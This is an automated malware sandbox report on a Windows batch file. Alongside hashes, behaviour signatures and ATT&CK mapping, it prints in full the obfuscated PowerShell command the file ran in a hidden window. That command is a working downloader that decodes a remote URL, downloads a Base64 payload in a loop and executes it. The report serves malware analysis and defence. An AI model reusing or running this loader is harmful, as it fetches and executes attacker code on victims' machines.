e9fc754844df1a7196a001ac3dfbcf28b80397a718a3ceb8d397378a6375ff62

Analysis

max time kernel
150s
max time network
146s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
17-10-2024 02:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

UPM-0002607-1-2024-UP-3762.bat
Size

5KB
MD5

23d982d0c7540551e840392de11571ae
SHA1

8cae67ab610dab59bf722ef2c1db09038e5a712d
SHA256

e5ebe4d8925853fc1f233a5a6f7aa29fd8a7fa3a8ad27471c7d525a70f4461b6
SHA512

f14b081fccbb2db1021aa03c5033ec59e22650a439eb5097eca4a7dce52035c06ab6d454eca95778fafcc6fd35de699182b380d12ace9420153e5cad8b5298f4
SSDEEP

96:AyZFysox3pf4I8GJqS+Pwx5oDf9uS5sKXyKf6adkNqTSN/pk44RFw6ABZ6hdpsSB:AQoxZ2GgZq5oDg6FXjf6aTYoIBAhj36y

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	2912	powershell.exe
6	2912	powershell.exe
7	2912	powershell.exe
8	2912	powershell.exe
9	2912	powershell.exe
10	2912	powershell.exe
11	2912	powershell.exe
12	2912	powershell.exe
13	2912	powershell.exe
14	2912	powershell.exe
15	2912	powershell.exe
16	2912	powershell.exe
17	2912	powershell.exe
18	2912	powershell.exe
19	2912	powershell.exe
20	2912	powershell.exe
21	2912	powershell.exe
22	2912	powershell.exe
23	2912	powershell.exe
24	2912	powershell.exe
25	2912	powershell.exe
26	2912	powershell.exe
27	2912	powershell.exe
28	2912	powershell.exe
29	2912	powershell.exe
30	2912	powershell.exe
31	2912	powershell.exe
32	2912	powershell.exe
33	2912	powershell.exe
34	2912	powershell.exe
35	2912	powershell.exe
36	2912	powershell.exe
37	2912	powershell.exe
38	2912	powershell.exe
39	2912	powershell.exe
40	2912	powershell.exe
41	2912	powershell.exe
42	2912	powershell.exe
43	2912	powershell.exe
44	2912	powershell.exe
45	2912	powershell.exe
46	2912	powershell.exe
47	2912	powershell.exe
48	2912	powershell.exe
49	2912	powershell.exe
50	2912	powershell.exe
51	2912	powershell.exe
52	2912	powershell.exe
53	2912	powershell.exe
54	2912	powershell.exe
55	2912	powershell.exe
56	2912	powershell.exe
57	2912	powershell.exe
58	2912	powershell.exe
59	2912	powershell.exe
60	2912	powershell.exe
61	2912	powershell.exe
62	2912	powershell.exe
63	2912	powershell.exe
64	2912	powershell.exe
65	2912	powershell.exe
66	2912	powershell.exe
67	2912	powershell.exe
68	2912	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2712 wrote to memory of 2912	2712	cmd.exe	31
PID 2712 wrote to memory of 2912	2712	cmd.exe	31
PID 2712 wrote to memory of 2912	2712	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\UPM-0002607-1-2024-UP-3762.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Sweetshop Forprogrammere Bevidstlse #>;$Billetkontoret='hovedngles';<#hygroscopically Borgerliggr Torpets Unclassified Blokvognens #>;$Psykes=$sulfate+$host.UI;function Boendes($Motorisere){If ($Psykes) {$Unpictorialised++;}$Aarskiftet=$genindkaldte+$Motorisere.'Length'-$Unpictorialised; for( $Herregaardene131=4;$Herregaardene131 -lt $Aarskiftet;$Herregaardene131+=5){$Pyramidia++;$Foredevote+=$Motorisere[$Herregaardene131];$Riskfulness='Oprejses';}$Foredevote;}function Aromastofs($Oversigtsbilleders173){ & ($Fandangoer) ($Oversigtsbilleders173);}$Kolonialvares=Boendes 'LaggMHjelo D lz dreiUnsilMat lTa fa F e/Forb ';$Kolonialvares+=Boendes 'S ks5Bran. Pr 0Bede Topi(Fl bWK.ldiMadenbeard,uako TomwMarrsVis JerkN UdaT kov oss1Agra0T nn.besk0bio ;Feri .aphWNobbiRumln Feu6Pick4Ansv;Nord Hen xBirk6 Afs4sk d;,oss OffrKrydvDomm:Spr 1Sm g3Uud,1A ti. lmu0Calo) Si Man G askeHjercde.ak ssioUdsm/ Rot2Depo0Verb1Erot0Elec0Spar1,iks0 Kun1Jord PreFYeariRe orShreeS orfOct,oFarax Ri /Supe1Mail3Lap 1Pyxi.Sawn0Tyre ';$Sparebsserne=Boendes ' CoeuR mmSMatlE Br rVo,d-U,faaKon.gBrn.EForsnDolkt kva ';$Cafuso=Boendes 'Cho,hPytot,uttt A dp V,tsSmle:mode/ C,u/St ecLamiaSc irfraneSesue yhrGodsfHjemi KunnDecrdlivre OutrSnek. IderOrbio .av/Mngdv pndn Ko,/Juk T Pr rT,keaW,stuNsker,ackiRes.gDis hSpaaeBem.d PoleCalfr Bas.ProcsHeineTranaAmin ';$Luncher=Boendes 'R ck>Vi,t ';$Fandangoer=Boendes 'HanhIunrueBoniXTemp ';$Ensnarement='Unlabialise167';$Totalisatorers='\Knighting.Pro';Aromastofs (Boendes ' Alg$E phgTinkLBadkOBrugBLayoaIndblBrne:Pr dT BatRBa keIspim N,nmSkumePrigspseutUd ao udfL,rouECu tnpas,ehals=Pala$Decie BebnLaarVCart:Rou,aChilp ampDri.DSikkaF.intAdm.AAn.i+Scud$,atat,wkwoRekttGaleAHardLBasiI Li S .tyAEquiTStosO.chorafstEVoveRSlidSOver ');Aromastofs (Boendes 'Venc$ XylgSlicLCo doVietb Pr.ADe sLPrst:UndepLordo Mi tJordASke sDynasVak.iElemFSheeEBrutRTr noSkitUAlcaS Kon=Folk$ entcTrapaSammfDy eUGuatsRovso ksp.Hu vsInseP ImplCollIRacetJ,ds(Dsl,$ Ug.l Z ru.ypeNFortc RgthN veESbeoRMed ) Soc ');Aromastofs (Boendes ' For[EmbenIsbjEtr ntrun .G nesFredEKaffRFir VLilliWaffc uefEHl np Lono l einasiNNonptKeycmExteA ByonFedeAMi rg ReiESu erkamp]Dis :Infe: ForsTrykEE,orCUnimu S irNontIKluntAtr yFejlpForor FroOAktutplotOH veC ilkOLoupLNonc Svk=Acep Lae[SturNDrage Va TT.le. Sk SMu feSlvecShr uSeleR bevI DdktTriryInwep TchrOverO ooptAizoo usCTargO,ettLLiteTNonpYArbepTyvee O,e]Tros:Tank:.enetKneblsomeS rti1dict2Well ');$Cafuso=$Potassiferous[0];$Kvatorialguineaner=(Boendes 'st.k$Vin GVrngl.toloMo,ebOv yA VoyLCoun:HestU.altn MaiE Ru vPi ta TouNBroke ouis u.gCYanaEStr,NAquaTRedrL NotYMel.=konsn ampeN tuwGuls- A.kOCivibAkkrjConfE Pa c U.dTCcdc SnkeSKekcYUrimsBalatAfdaEFlaaM Ach. osn preE Drat Sk .Wardw ExcEGangBAllecCro lfrisIInteeAnmen UndTmaan ');Aromastofs ($Kvatorialguineaner);Aromastofs (Boendes 'Fors$ RebU SpanAcineamfev MinaTeernRegieJulos onecpheneDecln ButtoverlTilsyUnh.. dskHLegieVoldaSpild iljeBetwrU absPlod[ ata$KlisSPaatpPrevaFr dr nvieHeteb aassIntesMulieI terSpinnVejeeTemp]Tord= Nit$UdviKOm aoBak lSk noHys.nSpiniBactaJehul UnpvPersaPater.chwerealsSoc, ');$Styklistens=Boendes ' ece$ Ou,URetanRenye Dicvme eaTarsn S eedispsGeldcIst eMadanTypet polIgn yLast. MasDHelaoSuprw umvnExoclTja o S.na RitdP,ykFHuf iPipelSwaneReg ( Nyf$UndsC ,ftaGodtf yctu .onsBackoCom,,Stri$ OraBHimmiDyregHavrePresm,rlsi ipnTykka Sp l ubl)Nonc ';$Bigeminal=$Tremmestolene;Aromastofs (Boendes 'Fl x$ TragSqualSpruO,sombDi.ea olalVaag: OdyFBlaslIndey HyrGGrsktSli.nsy.tiGlobnForbGItoie ommnDagnETrve= Exs(N ntTRetle asksTa sTSto -Spi,pFrysAI teTDiscHCirr U rk$CantbCho iInteGletveU,ilMKlveI ndNKentaUndeL Sta).ort ');while (!$Flygtningene) {Aromastofs (Boendes 'Tisk$WiwigSur l,ganoUnweb ffaaStaml Fok:SandMcockaQu nl EksiShaic mbai.egaoAb.ouEm rsD gsnNe,seFyris errs,yre1 Cal7Ch.s1 Non=Mach$SiamtE ferUndeu.ande .en ') ;Aromastofs $Styklistens;Aromastofs (Boendes ' UnlSRopeT P laMaryrAfklTRita-GeneSAfislBadeeOrchE merPVefr .eie4Inex ');Aromastofs (Boendes 'Frsk$Ma tgIntelIse,orideBRe mASma l.iau:MetrfProbLTab.YBonigImplTarbeNAftvi nuqnUndogR.une OvenTestEDruk=s.ns(teartMotoe Af SRa bT lac-UnwapErwiA SubT ishBrne Hund$Kl nBa ipIUntuGtideEAf.vM ,elIB.mbNRetrAbabyLGear)inso ') ;Aromastofs (Boendes 'Slug$ SjagGrahLDdsfORe.obBe.iAPrefLRdst:V,ntMTri iFlagKivieRVi eoFrikpEngeRSeleOUnfuC SpieForbs ChesKu.loPerfRSu rE EpirPharNQuiteEjec=tusk$P ntGsik.l omio GodbDiaga BralUnr :VesptTr kiPacec irecC,amhPiraEcrafNGalo+lic,+Nonv%Disu$VentpDowlOSyritLixiA tesFe iSBredIrivefBr.beTrolrmgleOGi.tuOpvas Blu.Roe cChemO kn,uBowlNRi sT fly ') ;$Cafuso=$Potassiferous[$Mikroprocessorerne];}$holding=324537;$Sevrdigheders=29555;Aromastofs (Boendes ' S y$ InsGrab lMegao web Na,aOuttlFort:KonsOZoopVKilueAlber ThigKnivUVi gnHe p Reva=St,k rregDo.nEHegntPlan-Pra,cLoddononsNBedetEftee RannDip,T For Kloa$ RugbUro iEgneGI,dreordem BesiFi,dnSuppaUns l ucr ');Aromastofs (Boendes 'Sick$,rndgDunklMah o SurbStrmaGattl ske:OrthBPrydaNor,kFi.at m ceMikrrMaltiEve,eUrtikHet,u Vaml OvetSensuEv lr VicsUrli Milj=Coun Disk[ArabSCoacy QuisShogta ine H,vmStri.Po.tCfordo ossnSpo vIc sety.irApokt ine] oi: avo:.sehFSprorVirkoPud mDup,BSeksaDians A oeBefa6P od4RecoSHe,etVi.irU dei B pnBihegUnsa(Ting$BoroOSki,v Ar.eLongrV ctgPe.ruRektn Vik).nse ');Aromastofs (Boendes 'Form$Sa ag,tomLDrifo SatBArgua aniL ost: ladtacloRPol.aTavsNL pps FoleC.taN Apon aboa eug Unse=Skat U dl[KaffsLumiYFjorsp.ast,olmeuplim ns.PtomtDet EJes X B.kTBill.OmarEObsenNodoC oruoMa kDSelvI SkrNP.osgFrot]Vejk: Min:St.fAGemmsFordCNeglIDopiiKr.e.Bar gcomie ljlTKo mSTermtCoxrRMagyIEnc nAnsog Emp(Skat$tronbOpbyA HonkrebntMaaleSelvRbevaIVierE ubkCh.nuT gelSepeTP.rtuUdmerGemeskolo) Sik ');Aromastofs (Boendes ' D m$ByggGSeculTranO tanBLrreAS.orL Sca:LagenOverOHkliN voGS ara FiglpaedaPrelCDevet hai olicClos=Mais$stroT Ek R AthA Snon ProSDecoeDelinTenoNNgs aScab.Rapas ildUTh ubDrifsSireTServr jtsis btNBillGbeky(Anbe$ RephskabO VanLDekoD R pi T kn M lG,ebr,Brmm$Sto sGloreAfbivakt R AutdScuti,quiGVoldhS preEsprdPateePneurSkibsShin)Vaab ');Aromastofs $Nongalactic;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2912-4-0x000007FEF621E000-0x000007FEF621F000-memory.dmp

Filesize
4KB

Download
memory/2912-5-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2912-9-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2912-11-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2912-10-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2912-8-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2912-7-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2912-6-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/2912-12-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2912-13-0x000007FEF621E000-0x000007FEF621F000-memory.dmp

Filesize
4KB

Download
memory/2912-14-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download
memory/2912-15-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp

Filesize
9.6MB

Download